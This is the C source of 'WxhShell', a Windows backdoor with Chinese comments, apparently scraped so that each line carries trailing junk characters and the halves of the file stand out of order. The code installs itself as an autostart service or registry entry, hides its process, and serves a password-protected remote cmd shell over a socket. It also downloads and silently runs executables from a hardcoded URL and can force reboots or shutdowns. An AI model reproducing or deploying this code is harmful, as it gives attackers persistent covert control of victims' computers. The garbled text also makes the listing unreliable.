    else { F2EX7Crj  
    closesocket(wsh); ?32i1F!  
    ExitThread(0); \C$cbI=;+  
    } qEl PYN*wF  
    break; vL^ +X`.td  
    } y=[{:  
  // 获取shell h(4\k?C5  
  case 's': { jpoNTl'  
    CmdShell(wsh); {LCKt/Z>P  
    closesocket(wsh); x~{W(;`!  
    ExitThread(0); N%1nii  
    break; UdA,.C0  
  } v$g\]QS p  
  // 退出 bk a%W@Y%  
  case 'x': { Fdq5:v?k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !C^>tmqS  
    CloseIt(wsh); IR;3{o  
    break; oEj$xm_}  
    } x-4d VKE*z  
  // 离开 v$5D&Tv  
  case 'q': { { 9\/aXPS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2t45/:,  
    closesocket(wsh); .C ,dV7  
    WSACleanup(); b^P\Q s*m  
    exit(1); H\9ePo\b~  
    break; P_75-0G  
        } i*A_Po  
  } bqx2lQf,_  
  } HEhBOER?  
)p:+!sX(  
  // 提示信息 _Vt(Eg_\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I9`ZK2S  
} \g)?7>M|  
  } :m/qR74+"  
sb?!U"v.'  
  return; ,Z! I^  
} ?.beN[X  
yT='V1  
// shell模块句柄 WORRF  
int CmdShell(SOCKET sock) pEX Q  
{ u),.q7(m  
STARTUPINFO si; &0J8I Cd=  
ZeroMemory(&si,sizeof(si)); l7IF9b$c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,^eOwWV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s|TO9N)pO  
PROCESS_INFORMATION ProcessInfo; [UB*39D7  
char cmdline[]="cmd"; R4$(NNC+/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \%V !& !'  
  return 0; &Mt0Qa[  
} %5@> nC?`[  
x(~V7L>"i  
// 自身启动模式 PpF`0w=1%l  
int StartFromService(void) ZW@cw}  
{ 0(&Rm R  
typedef struct S?VKzVDB.S  
{ R9QW%!:,\2  
  DWORD ExitStatus; Xf mN/j2  
  DWORD PebBaseAddress; :lmimAMt  
  DWORD AffinityMask; ?@MWV   
  DWORD BasePriority; &!HG.7AY  
  ULONG UniqueProcessId; 6q `Un}  
  ULONG InheritedFromUniqueProcessId; h,b_8g{!  
}   PROCESS_BASIC_INFORMATION; aOsc_5XDR;  
%e|UA-(  
PROCNTQSIP NtQueryInformationProcess; {]N7kY.W  
N$.ls48a4-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7;] IlR6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M8y|Lm}o  
1(% 6X*z  
  HANDLE             hProcess; #yEkd2Vy{  
  PROCESS_BASIC_INFORMATION pbi; vu*9(t)EC  
[lK`~MlQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K2V?[O#  
  if(NULL == hInst ) return 0; t?=V<Yd1  
4\uq$.f-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~SsfkM"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |t;Ktl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ay%]l| Gm  
nB5^  
  if (!NtQueryInformationProcess) return 0; g9d/nR X&  
q~*|Wd'&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o? K>ji!  
  if(!hProcess) return 0; bQI.Qk  
w6^TwjjZ$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (Fq]y5  
oU*e=uehj  
  CloseHandle(hProcess); Y ._O m}H  
,jD-fL/:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .f!:@fX>=  
if(hProcess==NULL) return 0; G%h+KTw  
7;?7q  
HMODULE hMod; f3:dn7  
char procName[255]; RK)ikLgp  
unsigned long cbNeeded; u9]M3>  
%+UTs'I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ft iAty0n  
]I;owk,  
  CloseHandle(hProcess); o_ [I#PT  
yBv4 xKMH  
if(strstr(procName,"services")) return 1; // 以服务启动 &b2@+/ F  
.v9i|E=<~  
  return 0; // 注册表启动  BrZ17  
} Q^?$2ck=  
{?X +Yw  
// 主模块  ;CV'  
int StartWxhshell(LPSTR lpCmdLine) Z 8GIZ  
{ g|4>S<uC  
  SOCKET wsl; ^?0?*  
BOOL val=TRUE; %(s2{$3  
  int port=0; ma"M?aM  
  struct sockaddr_in door; A v;NQt8ut  
1 7 iw`@  
  if(wscfg.ws_autoins) Install(); Y'R/|:YL@  
c^5fhmlt  
port=atoi(lpCmdLine); 4]Gm4zO  
Q2Uk0:M  
if(port<=0) port=wscfg.ws_port; ,I,Zl.5  
G,(Xz"`,  
  WSADATA data; i"E_nN"V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  {~w!  
(+u&b< <6N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U-{3HHA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S>"C}F$X  
  door.sin_family = AF_INET; Cwji,*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E|6@h8 #  
  door.sin_port = htons(port); @9k/od@mW  
\Z~ <jv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l9H-N*Wx  
closesocket(wsl); vJ&35nF&  
return 1; hIa,PZ/Q  
} H3Zt 3l1u+  
1Eryw~,,9i  
  if(listen(wsl,2) == INVALID_SOCKET) { I6S>*V  
closesocket(wsl); VHL[Y  
return 1; q'X#F8v  
} RGY#0.Z}  
  Wxhshell(wsl); 5\ }QOL  
  WSACleanup(); (F:|tiV+  
!wro7ilMB  
return 0; e >7Ka\  
f uH3C~u7<  
} c5[ ~2e  
R F;u1vEQ8  
// 以NT服务方式启动 Y&i&H=U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~4ijiw$  
{ >R\@W(-g`  
DWORD   status = 0; Nvd(Tad  
  DWORD   specificError = 0xfffffff; fRzJiM{  
T+!0`~`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s>TC~d82  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x LK,Je  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !__^M3S,k  
  serviceStatus.dwWin32ExitCode     = 0; mxwG~a'_  
  serviceStatus.dwServiceSpecificExitCode = 0; W,nn,%  
  serviceStatus.dwCheckPoint       = 0; 1X?q4D"  
  serviceStatus.dwWaitHint       = 0; \PmM856=ms  
H;FzWcm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c&`]O\D-c  
  if (hServiceStatusHandle==0) return; F-Ku0z]){?  
eNm Wul  
status = GetLastError(); KXu1%`x=%Z  
  if (status!=NO_ERROR) ,%y!F3m  
{ iX>)6)uJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |%(qaPA1  
    serviceStatus.dwCheckPoint       = 0; !~-@sq  
    serviceStatus.dwWaitHint       = 0; ^)3=WD'!  
    serviceStatus.dwWin32ExitCode     = status; ,^@/I:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~UsE"5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,JJ1sf2A  
    return; 3b<;y%  
  } 9a'}j#mJo  
$^#q0Yx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uU+?:C  
  serviceStatus.dwCheckPoint       = 0; !B#tJD  
  serviceStatus.dwWaitHint       = 0; UXHtmi|_:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P;ZVv{mT  
} Vz y )jf  
7TZ,bD_  
// 处理NT服务事件,比如:启动、停止 Uz `OAb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +# @2,  
{ 48 mTL+*  
switch(fdwControl) ZYz8ul$E  
{ ;#7:}>}rO  
case SERVICE_CONTROL_STOP: id/y_ekfP  
  serviceStatus.dwWin32ExitCode = 0; O*Z -3 l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3E8 Gh>J_  
  serviceStatus.dwCheckPoint   = 0; t0 T#Xb  
  serviceStatus.dwWaitHint     = 0; R>,_C7]u  
  { '5 9{VA6h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qp/nWGj  
  } P_ b8_ydU  
  return; #5^S@}e  
case SERVICE_CONTROL_PAUSE: (%{!TJgZR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >5Sm.7}R  
  break; Q1DiEg  
case SERVICE_CONTROL_CONTINUE: IXR%IggJA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jZq CM{  
  break; \YH*x`  
case SERVICE_CONTROL_INTERROGATE: }y%mG&KSz  
  break; XBTjb  
}; _+&/P&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QEY#U|  
} F=;nWQ&  
"s\himoa  
// 标准应用程序主函数 Lo +H&-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e.;B?0QrV  
{ iUf?MDE  
"u"?~  
// 获取操作系统版本 tLGNYW!K  
OsIsNt=GetOsVer(); Qmj%otSg  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  '5P:;zw  
+Ui%}^ZZ  
  // 从命令行安装 Mbtk:GuY  
  if(strpbrk(lpCmdLine,"iI")) Install(); gyv@_}Y3  
m =MM  
  // 下载执行文件 -QQU>_  
if(wscfg.ws_downexe) { }\EHZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^ }|$_  
  WinExec(wscfg.ws_filenam,SW_HIDE); !7Z?VEZ  
} .[vYT.LE  
Z7dVy8J  
if(!OsIsNt) { )oMMDH w\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ODPWFdRar  
HideProc(); G5$YXNV  
StartWxhshell(lpCmdLine); 5g phza  
} >NBwtF>  
else 2| ERif;)  
  if(StartFromService()) -p20UP 1I  
  // 以服务方式启动 )`<7qT_BM  
  StartServiceCtrlDispatcher(DispatchTable); xx[l#+:c  
else W_|7hwr  
  // 普通方式启动 ^W[3Ri G  
  StartWxhshell(lpCmdLine); Fr,b5 M<L7  
Ng\]  
return 0; S6c>D&Q  
} Xxs0N_va&  
b|g=&T:pp  
r} a,  
t~ z;G%a  
=========================================== _z& H O  
TiSV`V q  
??g = `yH  
]goPjfWvU"  
~P+;_  
iiV'-!3w  
" DbH'Qs?z  
m%i!;K"{s  
#include <stdio.h> K%NgZ(x(  
#include <string.h> tQIz  
#include <windows.h> gPy}.g{tH$  
#include <winsock2.h> !F# ^Peb  
#include <winsvc.h> e `IL7$  
#include <urlmon.h> &=v5M9GR]  
;C+ _KS  
#pragma comment (lib, "Ws2_32.lib") e1 P(-V  
#pragma comment (lib, "urlmon.lib") =tqChw   
V%n7 h&\%  
#define MAX_USER   100 // 最大客户端连接数 \Oa11c`6  
#define BUF_SOCK   200 // sock buffer .\|}5J9W  
#define KEY_BUFF   255 // 输入 buffer {tF)%>\#  
e&F=w`F\  
#define REBOOT     0   // 重启 >Gr,!yP  
#define SHUTDOWN   1   // 关机 RVa{%   
a*Ng+~5)6  
#define DEF_PORT   5000 // 监听端口 ~{npG  
d{RMX<;G  
#define REG_LEN     16   // 注册表键长度 1IZTo!xi  
#define SVC_LEN     80   // NT服务名长度 BPC>  
n,%/cUl  
// 从dll定义API OG2&=~hOz-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wXUgxa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LKu ,H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #:} mi;{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (Z at|R.F  
;%$wA5"2M  
// wxhshell配置信息 9I*`~il>{  
struct WSCFG { `'/1Ij+  
  int ws_port;         // 监听端口 >twog}%  
  char ws_passstr[REG_LEN]; // 口令 5t[7taLX\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^ &VN=Y6z  
  char ws_regname[REG_LEN]; // 注册表键名  uE3xzF  
  char ws_svcname[REG_LEN]; // 服务名 bODyJ7=[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <|4L+?_(&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #^bn~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2p8}6y:}7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,M$ J yda  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5*r5?ne  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h>&t``<  
%jj\w>  
}; ? -`8w _3  
y_f^ dIK*=  
// default Wxhshell configuration SI/p8 ^  
struct WSCFG wscfg={DEF_PORT, T+)#Du  
    "xuhuanlingzhe", 9l:vVp7Uk  
    1, K{]\}7+   
    "Wxhshell", 17B`  
    "Wxhshell", gYvT'72  
            "WxhShell Service", N1espc@j  
    "Wrsky Windows CmdShell Service", NIxtT>[+3  
    "Please Input Your Password: ", teg[l-R"7z  
  1, pDG>9P#mO  
  "http://www.wrsky.com/wxhshell.exe", t[b@P<F  
  "Wxhshell.exe" G0pqiU6  
    }; A=pyaU`aE  
p$@l,4@{  
// 消息定义模块 "0Yb 2>F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MnD^jcx   
char *msg_ws_prompt="\n\r? for help\n\r#>"; U&SgB[QHO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )VFS&|#\  
char *msg_ws_ext="\n\rExit."; u_X(c'aE;  
char *msg_ws_end="\n\rQuit."; td\'BV  
char *msg_ws_boot="\n\rReboot..."; gl!F)RdH  
char *msg_ws_poff="\n\rShutdown..."; hwd{^  
char *msg_ws_down="\n\rSave to "; a3[lZPQe  
T6Ks]6m_  
char *msg_ws_err="\n\rErr!"; 8WMGuv  
char *msg_ws_ok="\n\rOK!"; ue"e><c6:  
vB1nj<]&z  
char ExeFile[MAX_PATH]; xY1@Ja  
int nUser = 0; _gI1@uQw  
HANDLE handles[MAX_USER]; ed4`n!3  
int OsIsNt; %2EHYBQjN  
LFPYnK  
SERVICE_STATUS       serviceStatus; 1agI/R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t Ai?Bjo  
SoL"M[O  
// 函数声明 .+dego:  
int Install(void); =z +iI;  
int Uninstall(void); Q@? {|7:  
int DownloadFile(char *sURL, SOCKET wsh); g WHjI3;  
int Boot(int flag); { ^ @c96&  
void HideProc(void); }X^CH2,R  
int GetOsVer(void); O (YvE  
int Wxhshell(SOCKET wsl); s!\G i5b  
void TalkWithClient(void *cs); `& }C *i"  
int CmdShell(SOCKET sock); vON1\$bu `  
int StartFromService(void); cK~VNzsz  
int StartWxhshell(LPSTR lpCmdLine); 3pI)  
299uZz}Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $BWA= 2$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @8'LI8 \/  
iVqXf;eB!5  
// 数据结构和表定义 4dI =  
SERVICE_TABLE_ENTRY DispatchTable[] = C9"yu&l  
{ |A19IXZ\  
{wscfg.ws_svcname, NTServiceMain}, a qIpO  
{NULL, NULL} LQ.0"6oj  
}; b?%Pa\,!  
^DOQ+  
// 自我安装 B5 H=#  
int Install(void) :`20i*  
{ BF+i82$zo  
  char svExeFile[MAX_PATH]; 8c0ugM  
  HKEY key; - <M'h  
  strcpy(svExeFile,ExeFile); ck K9@RQ  
XCQPVSh  
// 如果是win9x系统,修改注册表设为自启动 l6k.`1.In  
if(!OsIsNt) { } {<L<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P~7p~ke  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (`FY{]Wz!  
  RegCloseKey(key); - {|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &Y|AX2KUC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /F7X"_(H  
  RegCloseKey(key); vFg X]&bE  
  return 0; '"fZGz?  
    } D}A>`6W<  
  } rwvCp_pN.  
} cux<7#6af  
else { v.Zr,Z=eV  
25/OV"Z  
// 如果是NT以上系统,安装为系统服务 ?emYLw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V"R,omh  
if (schSCManager!=0) cHk ?$  
{ c$52b4=a  
  SC_HANDLE schService = CreateService cy!;;bB  
  ( 71!'k>]h  
  schSCManager, xr).ZswQ  
  wscfg.ws_svcname, `} :~,E  
  wscfg.ws_svcdisp, u[?M{E/HU  
  SERVICE_ALL_ACCESS, 6`U]%qx_I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nr:%yvk%s  
  SERVICE_AUTO_START, n>i}O!agg  
  SERVICE_ERROR_NORMAL, e.? ;mD  
  svExeFile, !0!r}#P  
  NULL, #5}v?  
  NULL, /E<:=DD<  
  NULL, _"c:Z!L  
  NULL, ".Sa[A;~  
  NULL TxXX}6  
  ); m. "T3K  
  if (schService!=0) El4SL'E@  
  { BhC>G2 ^7  
  CloseServiceHandle(schService); P1A5Qq  
  CloseServiceHandle(schSCManager); C!s !j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w^wh|'u^_@  
  strcat(svExeFile,wscfg.ws_svcname); J^)=8cy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "=vH,_"Ql  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y?.l9  
  RegCloseKey(key); NB?y/v  
  return 0; z{ MO~d9  
    } ]gG&X3jaKq  
  } (H-}z`sy/@  
  CloseServiceHandle(schSCManager); ~e#QAaXD#5  
} Q]<6i  
} 66%4p%#b4  
\1mTKw)S  
return 1; r0/o{Y|l6  
} *zTEK:+_  
SWPb=[WEz  
// 自我卸载 VAet!H+]  
int Uninstall(void) yy#4DYht  
{ FCA]zR1  
  HKEY key; 2}jC%jR2  
xI(Y}>  
if(!OsIsNt) { Yo;Mexo!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ft^+P*  
  RegDeleteValue(key,wscfg.ws_regname); pIP ^/H  
  RegCloseKey(key); N@G~+GCxL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (7J (.EG2e  
  RegDeleteValue(key,wscfg.ws_regname); ypV>*  
  RegCloseKey(key); '7(oCab"_  
  return 0; *nc9 u"  
  } !@wG22iC4d  
} 8lfKlXR78  
} 2(iv+<t  
else { u RPvo}!=1  
%% A==_b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a<d$P*I(cH  
if (schSCManager!=0) u[~= a 5:4  
{ jpRC6b?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6qH^&O][  
  if (schService!=0) 3}ATt".  
  { 4VrL@c @  
  if(DeleteService(schService)!=0) { P[<EFj E  
  CloseServiceHandle(schService); X w_6SR9C  
  CloseServiceHandle(schSCManager); f5dctDHP  
  return 0; OXIy0].b  
  } unN=yeut  
  CloseServiceHandle(schService); .BjnV%l7Id  
  } <Pg<F[eDM  
  CloseServiceHandle(schSCManager);  TDR2){I  
} (Q~ (t  
} U9]&~jR  
nMU[S +  
return 1; i $W E1-  
} Z|IFT1K  
o]O  
// 从指定url下载文件 sm96Ye{O{  
int DownloadFile(char *sURL, SOCKET wsh) 1G62Qu$O  
{ 4oywP^I  
  HRESULT hr; t o2y#4'.  
char seps[]= "/"; q;#:nf"  
char *token; %;qDhAu0  
char *file; f$p7L.d<  
char myURL[MAX_PATH]; T$r?LIa ,Q  
char myFILE[MAX_PATH]; )!jX$bK  
&p6^    
strcpy(myURL,sURL); +U= !svE  
  token=strtok(myURL,seps); RuuXDuu:VL  
  while(token!=NULL) 7R5!(g  
  { EGIwqci:  
    file=token; @(_f}S gfE  
  token=strtok(NULL,seps); tDwj~{a~  
  } A.@Af+  
rJqRzF{|P6  
GetCurrentDirectory(MAX_PATH,myFILE); 8jz[;.jP",  
strcat(myFILE, "\\"); F}dq~QCzw  
strcat(myFILE, file); JBxizJBP  
  send(wsh,myFILE,strlen(myFILE),0); ga+Z6|t  
send(wsh,"...",3,0); Qb~&a1&s#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7<p? E7  
  if(hr==S_OK) Y%A KN  
return 0; 9a;8^?Ld%S  
else  Im8c  
return 1; bhg OLh#  
U)y~{E~c34  
} c0M>CaKD  
kFsq23Ne  
// 系统电源模块 Zk#?.z}  
int Boot(int flag) Th(F^W9  
{ oYNp0Hc  
  HANDLE hToken; <;.->73E  
  TOKEN_PRIVILEGES tkp; ajMI7j^G  
<"rckPv_H  
  if(OsIsNt) { # 5C)k5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Owz.C_{)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8`S6BkfC|  
    tkp.PrivilegeCount = 1; PS${B   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p&4#9I5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @mu2,%  
if(flag==REBOOT) { 1[Ffl^\ARp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0nOp'Ky\k  
  return 0; =gb(<`{>  
} >i IUS  
else { RS`~i8e'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BL Q&VI4  
  return 0; YMEI J}  
} ,H+LE$=  
  } &}/h[v_#'  
  else { oy!Dm4F  
if(flag==REBOOT) { ZFsJeF'"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A7X-),D  
  return 0; |~I-  
} 'ffOFIz|=I  
else { |L"!^Y#=D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) byUz  
  return 0; qn4jy6  
} z LHE;  
} G B &+EZ  
"t\gkJyK  
return 1; QC\][I>  
} zkrcsc\Z~0  
E?+MM0  
// win9x进程隐藏模块 9BM 8  
void HideProc(void) &QQ8ut,;  
{ ; 3WA-nn  
&^W91C?<6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \dIQhF%%2  
  if ( hKernel != NULL ) %Kq`8  
  { &QL!Y{=Y6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cjel6 nj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); / NlT[@T  
    FreeLibrary(hKernel); aj:B+}1  
  } "RF<i3{S  
j7M[]/|  
return; &]?X"K  
} G$"$k=[  
P95A _(T=[  
// 获取操作系统版本 :W\xZ  
int GetOsVer(void) +#c3Y ;JP  
{ *Tt*\ O  
  OSVERSIONINFO winfo; u< ,c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q/ ,j v5  
  GetVersionEx(&winfo); 79svlq=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wqu][Wa[Z  
  return 1; 3+E AMn  
  else bf3Njma%  
  return 0; m% {4  
} =tv,B3Mo  
1E*No1  
// 客户端句柄模块 ! awfxH0  
int Wxhshell(SOCKET wsl) 6SIk,Isy8  
{ d:"]*EZ [  
  SOCKET wsh; }(r%'(.6  
  struct sockaddr_in client; DP D%8a)?  
  DWORD myID; -K_p? l  
M=hH:[6 &  
  while(nUser<MAX_USER) >7VO ytc  
{ y2U^7VrO  
  int nSize=sizeof(client); wf<=r W'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rK%A=Q  
  if(wsh==INVALID_SOCKET) return 1; '$3]U5KOwK  
cv b:FK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {5=Iu\e  
if(handles[nUser]==0) YYz,sR'%|}  
  closesocket(wsh); 'xUyGj:  
else KKd S h1  
  nUser++; )-_]y|/D:r  
  } OeuM9c{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WUM&Lq k"  
dT%$"sj5  
  return 0; DUk&`BSJ  
} LH4!QDK-  
-o8H_MR  
// 关闭 socket ?Sq?f?  
void CloseIt(SOCKET wsh) HD(4Ms  
{ 3K/32Wi  
closesocket(wsh); d_j% ,1-#  
nUser--; ,{HxX0  
ExitThread(0); :[1^IH(sb  
} )5}=^aqd  
:D>afC8,  
// 客户端请求句柄 (hB&OP5Fne  
void TalkWithClient(void *cs) 9U_uw Rv2  
{ 2Qqk?;^ 1  
}hralef #N  
  SOCKET wsh=(SOCKET)cs; UvSvgDMl  
  char pwd[SVC_LEN]; )")_aA  
  char cmd[KEY_BUFF]; >xU$)uE&  
char chr[1]; (6R^/*-o  
int i,j; brA\Fp^  
,m-z D  
  while (nUser < MAX_USER) { ?mJNzHrq;  
cuO)cj]@e  
if(wscfg.ws_passstr) { ,&$+ {3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q2c|sK8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W)dQ yZ>J  
  //ZeroMemory(pwd,KEY_BUFF); ad "yo=%1  
      i=0; )Jx+R ;Z  
  while(i<SVC_LEN) { )T1U!n?^x  
-kh O4,  
  // 设置超时 QkXnXu  
  fd_set FdRead; 9Ij=~p]p  
  struct timeval TimeOut; %T hY6y(  
  FD_ZERO(&FdRead); z+K-aj w  
  FD_SET(wsh,&FdRead); iNX%Zk[  
  TimeOut.tv_sec=8; h01 HX  
  TimeOut.tv_usec=0; Fb&Xy{kt1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e`pYO]Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0j^QY6  
:Yi1#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @5!Mr5;  
  pwd=chr[0]; y9cDPwi:b  
  if(chr[0]==0xd || chr[0]==0xa) { VQ5D?^'0/  
  pwd=0; >+iJ(jqq  
  break; *;Q IAd  
  } mXd,{b'  
  i++; PuvC MD  
    } Y40`~  
&@tD/Jw3  
  // 如果是非法用户,关闭 socket poZ04Uxo>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zW^_w&fd^j  
} ^gb3DNV~y  
*=Ko"v }  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %#xdD2oN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {sn RS)-  
Z)?i&y?  
while(1) { &Kuo|=f  
kdVc;v/5  
  ZeroMemory(cmd,KEY_BUFF); Zl5cHejM  
dzIc X*"  
      // 自动支持客户端 telnet标准   _MF:?p,l  
  j=0; 3*< O-Jr  
  while(j<KEY_BUFF) { aDrF" j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s}8(__|  
  cmd[j]=chr[0]; /5qeNjI+2  
  if(chr[0]==0xa || chr[0]==0xd) { !~+"TI}_%w  
  cmd[j]=0; 'R&Y pR  
  break; X]^FHYjhS  
  } BI\ )vr$  
  j++; ]JQ7x[  
    } {BkTJQ)  
$#3O:aW  
  // 下载文件 C-i9F%..  
  if(strstr(cmd,"http://")) { OF[y$<jM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MKqMH,O  
  if(DownloadFile(cmd,wsh)) T5* t~`bfU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !S0$W?*  
  else T bMW?Su  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /NFk@8<?  
  } xLxXc!{J5  
  else { %49P<vo`?  
%w+"MkH _  
    switch(cmd[0]) { c/:d$o-  
  ;DQ{6(  
  // 帮助 > -P UY  
  case '?': { asDk@G cu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {y5v"GR{YM  
